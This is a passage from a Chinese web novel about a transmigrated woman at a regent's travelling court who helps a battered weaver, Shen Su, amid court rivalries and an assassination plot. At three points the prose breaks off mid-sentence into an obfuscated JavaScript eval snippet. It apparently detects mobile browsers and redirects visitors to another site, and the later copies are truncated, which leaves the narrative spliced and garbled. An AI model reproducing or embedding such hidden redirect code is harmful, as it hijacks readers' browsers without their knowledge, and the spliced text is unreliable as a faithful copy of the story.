昔日父兄勤勉经营,沈氏织坊生意兴隆,渐渐成了吴郡首屈一指的织坊,我自幼也算得上锦衣玉食。不想五年前,一场浩劫席卷江南,织坊被抢掠一空,工人死伤大半。爹爹为抚恤遇害工人的家人、安顿幸存绣娘,耗尽了家中所有积蓄。 原以为战后能慢慢恢复经营,谁料运河上水匪猖獗,商船往来凶险,绝大多数织坊的货物都难逃货毁人亡的厄运,唯有少数有门路的才能勉强维持运转。北方锦缎因此供不应求,价格水涨船高。 三年前,家父为给兄长筹措聘礼,想方设法织了一批锦缎,决意铤而走险运往北方售卖。他们花大价钱租下商船,却寻不到敢走镖的人,无奈之下只能亲自押船随行。那时我和娘日夜焚香祷告,只求他们平安归来,可终究……” 说到伤心处,泪水愈发止不住,两只袖子都湿透了。 时毓听到她的不幸,对她的同情更多了,对那施暴者的憎恶也更深切了,恨不得立刻返回,打断他的狗腿! 与此同时,一股深沉的无力感攫住了她。先前听织染署署令提起宫中绸缎质量每况愈下时,她还未曾深想,现在想来,连皇宫采办都如此艰难,这营商环境得差到何种地步,那商家又该过得何等艰难。 听了沈素的泣诉,她才对这份艰难有了真切的体会。 王阳说过,霁王此番南巡,意在解决水匪,重通商路,但愿他能成功。 想到民间对他的称颂,晋陵吴郡两地官绅对他又敬又怕的样子,脑中浮现出他夙兴夜寐,为政务奔波不休的身影,时毓忽然觉得,这或许不是奢望。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757332|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 带着这种期许再面对沈素,她心里那沉甸甸的感觉也轻快不少。 “父兄殒命后,宗亲叔伯们拿出几张欠条,说是我爹临行前打的,逼我还债。母亲被气死,我变卖家里的所有,将她草草安葬,剩余钱财全部用于还债,他们却说远远不够。最后,他们强占我家宅子,将我卖入青楼……” 人怎么能命苦成这样……时毓听到这里心揪得要命,眼泪都快跟着她一起掉下来。 沈素边哭边道:“段郎原是镖师,战前为我家走过镖,与我有过一面之缘,那时他想求娶我,奈何家穷,没敢提亲。去年,他在青楼看到了我,变卖所有,凑了五十两银子为我赎了身。他不嫌我脏,救我出了火坑,还执意娶我为妻。我满心感激,只想好好报答他,拼尽全力照顾这个家,可如今商路不通,镖局的生意一日比一日差,他许久都接不到活儿,家里的米缸常常空着见底。日子一难,他便渐渐变了模样,动辄对我埋怨不休,每次吃醉都要说‘若不是为你赎身,我何至于此。” 时毓暗骂没种的窝囊废,碍着沈素把他当恩人,没有说出口。 “今夜这般闹腾,是因婆母病故却无钱下葬。他想把我卖给过路商贾,临到签契前又舍不得,只得借酒发泄。” 说到‘舍不得’,沈素好像回想起了两人之间的甜蜜时光,忽然心软了,开始担心起他一个人在家半夜口渴该怎么喝水,万一吐了会不会窒息,甚至夜里睡死了谁给他盖被,匆匆起身道:“姑娘,他喝多了不会照顾自己,我得回去看看。” 时毓又气又急,满心恨铁不成钢,紧紧拉住她:“你想回去被他打死吗?!” 方才还苦苦求她救命的沈素,此刻却垂眸道:“也许这就是我的命吧。” 时毓简直想給她一个耳光将她打醒! 可是她终究不忍心,苛责这个保受命运苛待的女人。 “你先别急着走,让我想想。”时毓硬把她摁在凳子上,开始认真思索如何才能帮她。 其实时毓从前并不是一个古道热心的人,只是穿到这里以后,她一度陷入绝境,比谁都懂得在深渊里盼着有人伸手的滋味。她幸运的盼到了林寡妇——或许霁王也勉强算一个,如今见沈素这般光景,不由就想伸出援手。 思索中,她想起了王阳的话,心中有了主意,便对沈素说:“贫贱夫妻百事衰,想解决你们的困境,首要的是解决经济来源问题。只要能挣到钱,解决了生计,大多矛盾自然能迎刃而解,你说是不是这个理?” 沈素讷讷点头,不知想到了什么,忽然蹙起眉来,决绝道:“我宁可饿死冻死,也不会再回烟花巷柳了。” 时毓笑着摇摇头:“谁说女人只能靠身体赚钱?我认识一位大人物正在寻访江南最好的绣娘,想把苏绣绝技带回京都,你们沈家当年既是吴郡数得上的大织坊,连贡品都承接过,想必与不少顶尖绣娘都有合作,如今还能联系上么?” 沈素想了想,点头道:“从前吴郡手艺最好的绣娘都是在我家织坊学的艺,我与她们同吃同住研习针法,曾以姐妹相称,现在……现在来往少了,但谁家住哪儿却不会忘。奴家自己的手艺,也不逊于她们。” “哦?你技艺这么好,为何不靠手艺养活自己?”时毓诧异问。 沈素叹道:“从前一个手艺好点的绣娘能养活五口之家,顶级绣娘几年赚的钱,便能给自家郎君捐个小官。可是如今水匪猖獗,商路断绝,织品卖不出去,好多绣娘都改行做了灶下婢。只有极少数织坊的绣娘才有活做。” “原来如此。”时毓也跟着叹气,接着又问:“不过,北方现在急缺顶级绣娘,既然你有高超技艺,去北方一定能发展好。若那位大人物带你们去洛阳,你可愿意?” 沈素对她的邀请表达了感激,却道:“段郎救我于危难,要我舍下他独自享富贵,是万万不能的。只有他愿意去洛阳,我才会去。” 时毓听她口口声声舍不得离开那家暴男,只得道:“你可以回去问他的意见,但不是现在。现在他还没醒酒,万一将你打死,你岂不是倒在黎明前?” “什么……黎明前?” 时毓摆摆手:“不说这些没用的。即便你俩同去京都,把日子重新过好,也不能保证他就不打你了。为了你的生命着想,你得先改掉他这个臭毛病,再提出去洛阳的事儿。” 说着,她提起剪刀,剪了剪灯芯,而后递到沈素手中。 沈素不敢接。 时毓硬递到她手里:“你只有比他更狠,让他怕你,他才不敢对你动手。” 房顶,听到这话的两个‘便衣’暗自咂舌:这女人竟撺掇一个弱女子阉割自己的丈夫,真是心狠手辣! 不多时,她的一言一行,都传入虞衡耳中。 于是本斜倚在座、神色恹恹的他,睁开眼缓缓坐直了身子,嘴角勾起,眼里也有了一丝笑意。 而此时,吴郡太守极力推荐的那位绝色美人,正在殿中献艺。 25. 第 25 章 那晚时毓坐地撒泼的样子,打破了她在虞珩面前极力塑造的温顺乖巧。 而她打抱不平的行为和对沈素说的那些大逆不道的话,则让虞珩更加确信,她骨子里叛逆张狂,不好掌控。 其实从他第一次见她,就看出她表里不一的矛盾,但他恰恰喜欢这样的矛盾,并对真实的她充满兴趣。 至少在这枯燥的宴会上,他更期待听到关于她的一切,而不是那些虚伪的奉承和千篇一律的表演。 他唇边那抹因时毓而起的、玩味的笑意,落在满堂宾客眼中,却全然变了味道。 吴郡太守暗自欣喜,以为殿下对蔺芝和青眼有加; 满座官绅交换着心照不宣的眼神,都觉得有了美人的枕边风,吴郡定能获得减免赋税的福利,吴郡官场也不会像前面那些郡一样大幅调整; 而正弹着箜篌吟唱的蔺芝和本人,也以为摄政王那深邃的目光是为自己停留。 整个世界都围着他运转,他的一举一动牵动着所有人的心。 玲珑很快得到了消息,转头就告诉了琳琅。 “姐姐,殿下对这个蔺芝和很感兴趣,我看不必咱们动手,时毓马上就会彻底失宠……哦不对,她压根算不上得宠,不过是个药引子罢了。” 琳琅拨弄着香炉,叹气:“你既知她是药引,就该明白,只要殿下的身子未愈,她便不会被弃。” 于是玲珑又告诉她,时毓独自出门去了,现在正是动手的好时机,而王禄可以找到下手的人,保证做得悄无声息。 琳琅表现得游移不定。 玲珑本以为她还是狠不下心来,却听她道:“前日我听顾昭和殿下说,朱雀盟的头领召集部众潜入城中,意在寻机行刺殿下。若将时毓的行踪‘漏’给他们……届时,你猜他们会不会有所行动?” 玲珑眼中精光一闪,抚掌笑道:“他们与殿下有灭族之恨,时毓既是殿下‘心尖上的人’,以她的人头祭旗,或擒来作质再合适不过!不知道殿下会不会因为一个药引,对昔日的对手,如今的逆贼妥协呢?姐姐此计真是绝妙!” 她当即转身,步履生风:“我这就去安排。” 这时代消息传播地并没有那么快,这一晚时毓顺顺利利地回到了行宫。 刚踏进后院门,便听见廊下几个侍女正叽叽喳喳地八卦。见她走过,声音虽刻意压低了几分,那话语却一字不落地飘进她耳中: “听说殿下对蔺大家一见倾心,从她登场便笑了……” “这有什么稀奇?蔺大家生得那般貌美,是我见过最美的人儿了。方才她唱的那阕新词,词文高雅,情意真切,字字句句都在对殿下诉衷肠呢。看来咱们殿下,就吃这一套。” 她们说话间还瞥了一眼时毓,显然把她当成了当众表白的既得利益者。 “一样的招数,蔺大家使出来就是不同。上回是满堂唏嘘,这回可是满堂喝彩。你们瞧真切了没?殿下看蔺大家的眼神……啊啊啊!” “看到了看到了!殿下对蔺大家才是真心喜爱,当场就请她在行宫住下了。哪像有些人,先是被赶回去,后来又挨了耳光……” “呵呵,那哭天抢地的市井泼妇,怎能和和蔺大家相比?真要比的话,那就是一个天鹅,一个是癞蛤蟆吧!” “换作是我,也要选蔺大家呢!” 时毓翻了个大大的白眼,“那就赶紧去巴结她呀!” 而后在一片奚落声中大步回房。 出门前还帮她归置行李,非要和她住一起的宫女已经搬出去了,偌大一张木床,只剩她的铺盖。 坐在空荡荡、黑沉沉的屋子里,时毓感到压力山大,自己怕是真的要下岗了。 在这世道,连沈素那样有一技之长的人都难以为继,她这样一个无根无基、全凭摄政王一点垂怜才能存活的‘废物’,若真失了这份依仗,前路何在? 看来,不能躺平了,得和那位蔺大家,争上一争了。 时毓正在床上辗转反侧,房门吱呀一声被推开,一点豆大的灯火在黑暗中摇曳。 “谁?”她猛地坐起身。 “是我,碧荷。” 随着这声轻应,灯火渐近,映出来人清秀的面容——正是先前帮她安置行李的浣衣司宫女。 时毓心头涌起失而复得的欣喜,碧荷却歉然道:“惊扰姑娘安寝了。” “我本就没睡着。”时毓见她两手空空,诧异道,“你去哪儿了,怎么才回来?你的铺盖呢?” 碧荷将灯台搁在案上,从墙角抱来一卷铺盖,柔声回道:“方才王公公唤了几个宫婢去给太监们铺床,才刚忙完。我的床铺还没来得及铺呢。” 原来她没走啊…… 时毓赧然一笑,赶紧上手帮她一起整理,只是听着她的话不由来气:“这王禄真会欺负人。你们和太监平级,凭什么让你们去给他们铺床。你没找玲珑告状吗?” 玲珑哪会管下面人死活。 碧荷只温柔地笑,“没关系的。那几个太监今晚要去宴席上伺候殿下,回来得很晚,奴婢们帮衬一把也是应当的。不累的。” “忙到这个时辰能不累吗?”时毓嗔她一句,把她按到床上:“得了,我来吧。你歇会儿。” “这怎么成!”碧荷慌忙起身抢过被褥,“姑娘和奴婢不同,您是殿下心爱之人,虽然还没有正位,但那只是早晚的事儿,哪有让您动手的道理。” 时毓嗤笑着自嘲:“咱们都吃住一起了,分什么高低贵贱啊!真要分的话,我可能还不如你。你起码是正式工,我只是个临时工。只要殿下厌弃了我,我就得从南巡队伍里消失。现在蔺大家一来,那一天应该很快了。” 碧荷道:“姑娘何必妄自菲薄,奴婢伺候殿下三年,还从未见过他对哪一位过娘如此在意呢。” 你是霸总文里的npc吗?时毓听得哈哈大笑:“在意到要剁了我的手吗?” 碧荷很诧异:“难道姑娘不明白?殿下不让您碰针线,是不想让您吃苦啊。” 她伸出自己的手,又轻轻托起时毓的,两双手并排,即便在昏暗的油灯下,也能看出明显区别。一个因长期劳作,指节变形,指尖布满厚茧,一个匀长纤细,细皮嫩肉。 谁吃苦,谁享福,不言而喻。 “若是有的选,这世上恐怕没几个女人愿意做女红吧!” 灯花噼啪一响,昏黄的光晕照着碧荷眼角细密的纹路。 她举着变形的双手对着火光,“奴婢七岁学针黹,十二载来,没有一天不做针线活儿,夜里穿针总要眯着眼,腰背更是时常酸得直不起来,手变形发硬就不必提了。听说只有那些被家里人当男儿般疼爱的姑娘,才从不必碰这些。能被殿下如此疼爱,姑娘真是好命。” 是这样吗? 霁王心疼她才不让她碰针线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她不禁想,早前觉得他有那么点喜欢自己大概是错觉。真正的喜欢,就应该是这样,一看到对方就不由自主地想笑,舍不得对对方说一句重话。 虞珩早已注意到她,看她鬼鬼祟祟,鬼使神差般,抬手给蔺芝和掖了掖脸颊旁的发丝。 时毓心里顿时拔凉:完了,这俩绝不是单纯的工作关系,分明一见钟情了,我没机会了,还是赶紧准备简历另谋生路吧! 第二天一早,虞珩得知时毓辗转反侧一晚上没睡,顿觉神清气爽,挥挥手交代下去:“这几日时毓想干什么都由着她,想要什么都给她。谁要是找她不痛快,重重责罚。” 用罢早膳,仪仗肃穆地往城西忠烈祠行进。 五年前那场平定叛乱的决战,正是在吴郡城外展开。 战后虞衡亲自下令,在当年战况最惨烈的旧战场上修建了这座祠庙,所有马革裹尸的将士英灵都供奉于此。 车驾行过青石铺就的神道,两侧松柏森然。 虞衡望着渐近的祠庙重檐,心里因时毓而起的波澜渐渐平复,又变回了那个威重如山的大虞摄政王。 “嘎——” 一声突兀的鸦啼划破寂静。 翊卫统领抬手止住仪仗,拇指已顶开刀镡。所有侍卫瞬间呈扇形散开,左手持弩机,右手按横刀,将王驾护在中心。 虞衡抬手掀开车帘,目光如刃扫过道旁松林—— “他竟敢来祭拜这些刽子手!”林间阴影里,刀疤汉子五指深深抠进树皮,“是真当我们江南四姓死绝了,还是觉得朱雀盟都是些没种的窝囊废?!” “灭族之仇今日必报!”另一人眼白布满血丝,刀锋已出鞘半寸。 26. 第 26 章 松林间,杀意如实质般弥漫。 “叶先生,顾昭带着大部分翊卫在城中和大当家周旋,当下虞珩身边不足三百人,正是动手的好时机!” “我们此番只带了十六个人。” “可他们在明我们在暗,占尽先机!” “你看得懂翊卫的阵法吗?” “我不管他们是什么阵法,我只知道,若就此放过,只怕再难等到这样的机会!” “这并不是什么好时机,我们只是来认人的。别忘了,虞珩打过无数次胜仗,他的战术远优于顾昭。你想想,这几日咱们在顾昭手里折了多少人了?!要杀他,必须周密计划,确保一击必中。” “可是,如果这次的刺杀最终失败了,我永远无法原谅现在的自己!” “够了。这是盟主的命令!” 松林深处的树梢中响起一声清脆的鹧鸪啼叫。 朱雀盟子弟听到这一声示警,被迫收起刀刃,继续蛰伏。 随即,翊卫也恢复队形,继续前进。 * 上次王阳说过,此次伴架南巡的目的之一,便是为织染署遴选江南顶级绣娘,于是时毓今日找到他,打算问问遴选进度。 原以为王阳不会那么配合,没想到他的态度和之前并没有变化。 时毓不禁感慨:常和外部臣工打交道的实权领导,果然城府更深一些,与深宫大内,趋炎附势的宫监宫女段位不同。 这固然是一个原因,还有一个更重要原因是,王阳一早得了消息—— “这几日时毓想干什么都由着她,想要什么都给她。谁要是找她不痛快,重重责罚。” 所以当他听说,时毓想给他推荐一个绣娘,欣然应允道:“若这沈素果真技巧高超,又愿意去洛阳,咱家可以带回去。” 于是时毓立即安排沈素来面试。 结果去了客栈才知道,沈素昨夜还是没听劝,偷偷跑了回家。当时毓辗转在她家中找到她,果见她又被她那段郎暴打了一顿,浑身青肿无法起身,更别提穿针引线了。 得亏那姓段的出去找活儿了,不然时毓非得杀人! 她又气又难过,飞快跑去找来郎中,待郎中为沈素上好药、叮嘱完注意事项离去,才忍不住质问:“你不是说,他酒醒了就不会打你吗?” 沈素不敢看她,垂头低声泣泪:“是我的错,我昨夜让他丢了面子,还劝他抛家舍业跟我去洛阳,靠我养活。” 时毓怒其不争到了极点,却又觉得,既已插手此事,便没有半途而废的道理,若今日放任不管,沈素迟早要被这畜生打死。 当即转身直奔行宫,找到王阳说明缘由,请求他派个有分量的内官去震慑段元庆。 王阳闻言暗忖:殿下今早发了话,行宫内如今人人对这时毓礼让三分,倒让外头的莽夫欺到她头上。既然殿下有令在前,而自己又知道了此事,便绝不能轻纵,否则万一殿下过问起来,便是自己没有尽责。 于是笑道:“何须劳烦姑娘跟着再跑一趟?不如直接将段镖头‘请’到行宫来。一来能好好震慑这不知天高地厚的东西,让他知道昨夜得罪的是什么人;二来,大内之人带着他一路招摇过吴郡街头,织染署遴选绣娘的消息,不出半日便能传遍全城,岂不是一举两得?” 这安排确实比时毓预想的更为周全,她郑重施礼:“多谢王公公周全。” 王阳自然推辞不受,客气道:“姑娘路见不平、挺身而出,这份侠义心肠着实令人佩服。况且,姑娘这般费心费力,终究是为织染署寻访良才,理当是我们谢姑娘才是。” 时毓知道这是客套话。哪家公司招人,想要个麻烦事儿一堆的? 王阳尚未查验沈素手艺就如此爽快,分明是给她面子。 不过是得了摄政王些许青睐,就能让三品内官如此客气。若真能得宠,还不在横着走? 她被权力诱惑着,心中再次涌起一股强烈的,想要不顾一切、不择手段,抱紧霁王大腿的冲动。 王阳当即唤来心腹刘群,如此这般吩咐下去。 不过半个时辰,刘群带着郡守衙门的一群差役,冲进段元庆所在的镖局,将他拖到院子中间,不由分说先痛打了一顿。 段元庆鬼哭狼嚎着求饶,后来见求饶没用,便破口大骂。 刘群一脚踏在段元庆肩上,皂靴碾得他肩胛骨咯咯作响。拂尘柄挑起他冷汗涔涔的下巴,阴恻恻笑道:“这对招子倒是生得亮堂,可惜只是个摆设。真佛杵在跟前认不得,倒把祥云当瘴气。来人!给段爷洗洗眼!教他认认咱们大内的服制,学学怎么说话!” “是!” 衙役们呼啸而上,拳拳往刘群脸上招呼,不一会儿便把他打成了猪头。 段元庆听到‘大内’二字就已经肝胆俱颤再不敢挣扎了,待他们停了手,一秒都不敢耽搁,他麻利地跪正,朝着刘太监的方向砰砰磕头。 青石板上很快洇开血渍,他却不敢停,带着哭腔哀求:“公公饶命!小的有眼无珠,实在不知何处冲撞了真佛!求公公明示,小的这就去磕头请罪!” “不知?我就说你是个睁眼瞎嘛!”刘太监斜倚在太师椅里,漫不经心地摩挲着翡翠扳指,“仔细想想,这两日可曾遇着什么特别人物?” 段元庆脑中霎时闪过时毓的身影——那般气度确非寻常闺秀。再想到近日摄政王仪驾驻跸吴郡,他猛地倒吸一口凉气,莫非……莫非那位姑娘是摄政王的人? “幸亏你祖上积德,”刘太监俯下身,点着他的血糊糊的脑门道,“遇上的是位慈悲佛,愿意给你个认错的机会。若是换了别个,你现在已经在运河里喂鱼了。” 待段元庆被带到行宫,一见时毓便扑通跪地,额头将青石板磕得砰砰作响:“小的有眼无珠!不知姑娘是贵人,昨日竟……竟对姑娘无礼,求您大人大量,饶了小人这条贱命,小的再也不敢了,再打素娘就让天打雷劈!” 他昨夜是何等嚣张,此时又是何等狼狈,时毓心下万分痛快。 可她常听人说‘家暴只有零次和无数次’,今日若只是简单震慑便放过他,日后他未必不会故态复萌,沈素依旧难逃苦海。 “不用等天打雷劈,本姑娘便是来替天行道的。昨夜说了,打女人不如去打胡虏,饶了你这条贱命可以,你自请去守边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“姑娘放心,咱家顶让沈姑娘和段镖头,平平安安、和和美美地去洛阳。”王阳笑着应了。 时毓忙作揖。 王阳虚扶她一把,玩笑似得说道:“姑娘的精力如此宝贵,理当放在取悦殿下身上,不该为这等琐事费心。” 时毓面上笑呵呵,心里却想,你以为黔驴不想吗?黔馿她技穷了呀! 她趁机向王阳诉请教:“公公想必知晓,先前殿下对我原是有几分上心的,只是前几日在船上,不知哪里做得不妥,触怒了殿下,再加上昨日吴郡官绅又献上了新的美人……如今这般光景,我便是想往殿下身边凑一凑,怕是都难如登天,更别提重获他的宠爱了。公公在殿下跟前当差多年,最了解殿下,也是殿下最信任的心腹,可否为我指点一二,该如何做才能挽回殿下的心意?” 王阳笑着摆摆手,“姑娘这话可抬举咱家了。若说伺候殿下的时日,若说在殿下心中的分量,咱家可算不上头一份。真正最得殿下信任、也最懂殿下心思的,是尚寝司司制王遂。别看他官职不高,平日里沉默寡言,一副与世无争的样子,但论起对殿下的了解,整个内侍省怕是无人能及。姑娘与其问我,不如去请教他。只要他肯开口,你必有收获。” 时毓闻言心中顿时一喜。她还记得第一次去见霁王,便是王遂亲自引领。那位内侍行事沉稳,言语温和地提点了她几次,给她留下了极好的印象。 “不过,在去找王遂之前,姑娘不妨先好好想一想,那日在船上,你究竟是如何开罪了殿下?” 27. 第 27 章 到底如何得罪了他? 时毓倒也不是完全没头绪。 那晚,在剪坏的裤子出现之前,她和虞珩之间的气氛都还不错。 裤子出现之后,她明显感觉到霁王对自己动了杀心,所幸急中生智,坐地撒泼,妥过一劫。 但在这个过程中,她处在极大的惊恐中,神情恍惚,对他说了什么做了什么,印象并不深刻,至于这些举止背后的逻辑,就更模糊了。 这些日子她反复回忆,终于想起一个细节——命人将她赠予各处的礼物悉数收回,而后连人带她亲手缝制的那件寝衣,一同扔出了寝殿。 她原本猜测,殿下是疑心她收买近侍、图谋不轨,这才驱逐她以作防范。 此时细细想来,不免觉得荒谬。还是那句话,摄政王打杀徐员外、江雪融,手段雷霆,没道理单单对付她这么优柔寡断。 真要怀疑她,何不交给那个活阎王顾昭? 即便顾昭无暇,内侍省多的是刑讯高手。王阳身边那个刘群,办事手段就很了得,自己在他手下绝对撑不过三分钟,不,一分钟,就得哭爹喊娘得求饶。 所以她到底为什么失宠呢? 时毓苦苦思索了一天也没能想明白。 这当然不能怪她,都怪虞珩这个人喜怒无常,几乎没给过她好脸色。他和她为数不多的互动仅限于肢体,皆因欲望而起。更糟糕的是,每回他都是从她身上带着失望的神色离去,给她一种自己实在不堪下口的错觉。 再加上昨晚亲眼看到了他和蔺大家的正常互动,她就更不敢自作多情了。 没搞清楚这一点,她也不好去找王遂求教。 夜色沉沉覆下,霁王寝殿方向忽然传来箜篌声。 初听如千军列阵、金戈相击,铁骑踏碎关山,一往无前,势如破竹;转瞬间又似江潮奔涌,怒浪排空,乘风破浪直穿烟涛,浩浩荡荡直达沧海。每一声弦振,都带着功成在握的得意,饱含意得志满的畅快。 昨夜凉亭中,那二人言笑晏晏、缱绻旖旎的画面,立刻浮上脑海。 时毓心中涌起排山倒海般的嫉妒:为何旁人甫一入局,便找准了门路,一路飞升,而自己却如迷宫里的困兽,怎么都找不对方向? 箜篌声越发激昂,每个音符都化作细针,扎得她坐立难安。再在这屋里待下去,她怕自己要呕出血来。 终于披衣推门,落荒而逃。 * 其实虞珩并不在寝殿,而是在议事厅。是琳琅邀请蔺大家表演给内侍官们听。 此时虞珩正在翻阅官员们写的碑文。 今日忠烈祠祭祀,他特命太常寺做赋刻碑,以记盛典。 陆长风起初呈上的三篇赋文,皆因浮华空洞而被斥退。此后他虽亲自捉刀,又辗转求了翰林学士曲岳与吴郡本地的名士执笔,然而观殿下神色,分明仍是不满。 “若殿下还是不满意,陆大人不妨去求一求那一位时姑娘。她作的那一首春江花月夜,每每读之,都令人心魂俱震,怅然若失。以这般才华写就赋文,定能打动殿下。” ——《春江花月夜》究竟是何人所做,只有时毓、顾昭和虞珩知道。因江雪融身死,而时毓获宠,不明真相者,均猜测她才是作者。 想起曲岳的指点,陆长风喉结一滚,硬着头皮请示:“殿下,臣恳请允准,向时毓姑娘请教。” 虞衡将手中文稿往案上不轻不重地一放,蹙眉抬眼。 这几日他一直在等时毓来认错,像从前那般绞尽脑汁地讨他欢心,她却始终龟缩不前,格外‘安分守己’。 原以为今日给了恩典,助她当了回救苦救难的活菩萨,她总该感恩戴德地前来谢恩,谁知整整一日过去,竟毫无表示,入夜后又溜得不见踪影。 也不知道外面有什么这么勾着她的魂! 他心中正自恼火,陆长风此刻提起她,无异于火上浇油。 她连孤都顾不上,哪有功夫帮你做赋! “怎么,”他声音冷峭,“孤坐拥天下英才,如今竟要靠一个平庸痴傻、疯癫无状的女子来指点文章了?” 平庸? 痴傻? 疯癫? 无状? 听闻殿下对此女钟爱非常,前些日子夜夜与她共枕而眠,今日还罕见下令宠纵,不允许任何人找她不痛快,怎的忽然用这样的字眼形容她? 陆长风后背瞬间沁出一层冷汗,慌忙俯身解释:“殿下恕罪。臣每每拜读《春江花月夜》,总被其中文采玄思所震撼,其文辞精妙、意境超逸,非臣等凡俗之辈所能企及。今日与曲学士及吴郡众才子斟酌碑文时,谈及此诗,皆感叹这般惊才绝艳,若不续新篇,实乃文坛憾事。” “故臣斗胆请时姑娘执笔。一则借其灵思妙笔,为忠烈祠留下传世碑文,让那些追随殿下马革裹尸的将士得以名垂青史;二来,自《春江花月夜》传颂开来,江南文士无不翘首以待新篇。若能得之,必能令我朝文风愈炽,文脉愈昌。” 说罢深深叩首: “此乃臣愚见,伏请殿下圣裁。” “怎么,光被吴郡才俊笑话还不够,你要在忠烈祠前立女子所作碑文,让后世也笑我大虞才子都死在战场上了?” 轻飘飘一句质问,令陆长风冷汗直冒,垂首不敢吱声。 虞珩紧皱眉头重新看向桌上的赋文。 这三篇并非不佳,只是他心浮气躁,根本静不下心细看。 若能沉下心甄选,未必挑不出合意的。 他强压不耐,一目十行扫过,终挑出一篇,冷声道:“拿回去润色精进。” 陆长风如蒙大赦,忙捧着赋文匆匆退出大殿。许是步子太急,他险些被高门槛绊倒,摔个狗啃屎。所幸虞珩恰好起身离席,没瞧见这狼狈模样。他暗自庆幸,擦了擦额头的冷汗,转身便夺路而逃。 “王禄!” 虞珩在窗边立了半晌,被后殿传来的箜篌声聒噪得愈发心烦,厉声斥责:“没有孤的允准,是谁擅自抚琴?” 王禄素与琳琅交好,自然要千方百计将琳琅撇干净,忙躬身上前,小心回禀:“许是蔺大家心疼殿下终日辛劳,想着以乐声提醒殿下,早些歇息呢。” 宫里诸般争宠的手段,虞珩见得太多了。一听这话,便觉这蔺芝和分明是借着乐声引诱自己,脸色愈发阴沉。 蔺芝和何处不及时毓? 若论容貌,她眉目如画,姿容更胜三分;若论才情,琴棋书画无一不精;若论心性,她见多识广却从不张扬,最懂察言观色,言谈举止皆恰到好处。这般品貌,莫说与时毓相比,便是放在京城佳丽之 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不多时,虞珩换上一身靛青常服走出议事厅,玉冠也已换成寻常银簪。 “殿下这是要出宫?”梁久安躬身问道。 虞珩淡淡嗯了一声,“改日再请脉吧。” 说着就大步流星地朝外走。 王禄这才反应过来他没做任何安排,就要在这大晚上独自出门,飞快追上去,苦口婆心地劝道:“殿下,如今朱雀盟逆贼在城中流窜,您万金之躯,岂能这般贸然出门?好歹等奴才去车马司调妥车马,再令翊卫整队护驾,万无一失了再动身啊!” 虞珩从不是冒失的人,更不会拿自己的生命开玩笑,但他方才收到影卫的密报,时毓竟在外面与一男子…… 他下意识不愿意相信,只觉得影卫受人收买,想要引他出去,亦或者,被看不惯时毓的人收买,想借他之手除掉她。 但理智很快压倒了疑心。他深知麾下影卫的忠诚,断不敢行此大逆不道之事。 这时毓本就狂放大胆,既然会勾引他,还有那么多让人欲罢不能的花样……为什么不会去勾引旁人? 她摆脱前主人的方式就是找个新主人,如今在他这里受挫,难保不会重施故技另寻靠山! 她敢!!她胆敢动这样的念头,孤定要要亲手掐死她! 狂怒如烈火在胸腔里翻涌,混着一股说不清道不明的酸涩苦楚,烧得他理智尽失。 他必须立刻亲眼去验证,哪怕明知深夜出宫凶险,也顾不上这许多。 脚步未停,他沉声道:“孤只是出去走走,不必备车。让陆长风随侍即可,翊卫稍后赶来便是。” “不可呀殿下!”王禄脸色惨白,额上冷汗直冒,拼了老命上前拦住去路,声都发颤:“翊卫调派、路线清场都需时间,您孤身在前,若真遇上逆贼,仅凭陆长风一人如何护得住您?您就算要查什么,也容奴才安排妥当,哪怕先派暗卫探路也好,万不能拿自己的安危赌啊!” 梁久安也上前一步,躬身劝道:“殿下,夜路凶险,您素有决断,可此事关乎身家性命,还请三思!” 然而虞珩行事素来果决霸道,一旦定了主意,便是天王老子来了,也休想让他改变主意。 28. 第 28 章 时毓的确是个矛盾的人,在外人看来就是表里不一。 她上学的时候总说,名校什么的,我不在乎,有个大学上就行啊,结果上了top5。 她工作的时候总说,我做销售就是为了自由轻松,稍微过得下去就行,挣那么多钱干什么?结果每季度都是销冠。 其实她真的不是骗大家,她是真的不想拼,只想摆烂,但她有一颗超绝好胜心,看到别人超越自己就难受。 可以说,不管是考大学还是做销售,都是先摆烂后面逼迫卷。 现在也是。 本来她只想要虞珩一点点关注,过上衣食不愁的日子。 现在,看到人家蔺大家短时间内就俘获了虞珩的心,把那个比曹操还多疑的男人哄得跟个傻子似的,衬得她笨得要死,她感到无比焦虑。 她想做得更好,从虞珩手里拿到钱、权力! 压力大的时候,她习惯用奔跑宣泄情绪。 一出行宫她便提起裙摆小跑起来,可这时代的鞋实在不适合跑步,鞋底硬得像木板,鞋帮总是不跟脚。 跑不成,她便拐进灯火通明的夜市,开启第二种解压模式:吃。 金黄的炸春卷、糯甜的梅花糕、咸鲜的蟹壳黄,她沿着闹市一路吃过去,待走到观前街口时,已是腹中饱胀,可心头的焦虑却半分未减。 "老板,来碗飘香馄饨。"她又在街角的小摊坐下,朝摊主喊道。 听到她的喊声,隐在对面火烧摊的两个影卫都服了。 跟着她的影卫是轮班的,今天这俩和昨天那俩不一样,她一路吃,这俩一路跟,也是一路吃,他俩都撑得快站不起来,她竟然还能吃。 俩影卫硬着头皮要了一个火烧,切成两半,为争着要小的那一半,差点打起来。 “好嘞!” 馄饨摊上热气蒸腾,虽有三四桌客人,却只有个瘦小身影在灶台前忙碌。时毓起初看那矮小背影还以为是侏儒,待听到清脆应答才知是个小孩哥。 小孩哥利落地收完邻桌碗筷,热络地招呼她:“客官是北边来的?” 时毓点了点头,谨慎地问,:“你家与北人有仇不?不会往我的馄炖汤里擤鼻涕吧?” “我爹我哥都在五年前战死沙场。” 时毓脸色一变,一边道歉一边起身要走。 